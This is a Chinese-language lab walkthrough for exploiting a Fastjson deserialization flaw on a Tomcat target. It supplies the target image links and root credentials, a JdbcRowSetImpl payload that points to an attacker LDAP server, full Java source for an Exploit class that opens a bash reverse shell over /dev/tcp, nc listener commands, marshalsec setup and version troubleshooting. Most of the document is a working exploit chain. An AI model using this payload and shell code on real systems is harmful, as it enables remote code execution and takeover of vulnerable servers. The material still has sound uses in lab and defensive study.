靶机IP:192.168.253.134
攻击机IP:192.168.142.44
1、靶机环境搭建
靶机:http://caiyun.feixin.10086.cn/dl/095CteuquNKVq 提取密码:NNPD
RCE:http://caiyun.feixin.10086.cn/dl/095CuIsJQOw14 提取密码:J2vd
靶机账号密码:root;toor
tomcat路径:/usr/local/tomcat/apache-tomcat-9.0.27/
jdk版本:
访问靶机Web服务:
被fastjson调用解析的参数:
2、攻击机环境准备
(1)监听流量
nc -lvvp 5555
(2)测试外连
{"name": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"x": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://192.168.142.44:5555/fastjson/Exploit","autoCommit": true}
}
(4)修改Exploit并编译成class文件
Exploit.java,修改反弹的IP跟端口import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;public class Exploit{public Exploit() throws Exception {Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.142.44/5555;cat <&5 | while read line; do $line 2>&5 >&5; done"});InputStream is = p.getInputStream();BufferedReader reader = new BufferedReader(new InputStreamReader(is));String line;while((line = reader.readLine()) != null) {System.out.println(line);}p.waitFor();is.close();reader.close();p.destroy();}public static void main(String[] args) throws Exception {}
}
编译成class文件(注意:javac版本最好与目标服务器接近,否则目标服务器无法解析class文件,会报错):
javac Exploit.java
(5)准备LDAP服务和Web服务
这里使用的Web服务也是tomcat,在Web目录下运行LDAP服务,启动Web服务
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://192.168.142.44:8080/fastjson/#Exploit
nc准备接收反弹回来的shell
(6)执行
修改IP为攻击机IP,访问靶机漏洞链接post以下payload:
{"name": {"@type": "java.lang.Class","val": "com.sun.rowset.JdbcRowSetImpl"},"x": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://192.168.142.44:1389/fastjson/Exploit","autoCommit": true}
}
LDAP把请求Redirect到Web服务,Fastjson将会下载Exploit.class,并解析运行,Web服务器也会有请求记录
nc收到反弹回来的shell
3、其他问题
(1)当javac版本和目标服务器差太多,会报一个下面那样的错误,所以需要使用1.8的javac来编译Exploit.java
Caused by: java.lang.UnsupportedClassVersionError: Exploit has been compiled by a more recent version of the Java Runtime (class file version 55.0), this version of the Java Runtime only recognizes class file versions up to 52.0
或者降级编译
javac -source 1.7 -target 1.7 Exploit.java
(2)记得开放防火墙需要用到的端口。
(3)当运行LDAP的服务器java版本过高,会无法运行LDAP服务,虽然显示正在Listening,但是Fastjson的JNDI会报错,显示无法获取到资源,所以要使用java 1.8(openjdk 8)来运行LDAP服务
(4)推荐使用LDAP协议进行漏洞利用:
RMI协议的利用方式 在JDK 6u132/7u122/8u113
及以上版本中修复了
LDAP协议的利用方式 在JDK 6u211/7u201/8u191
及以上版本中修复了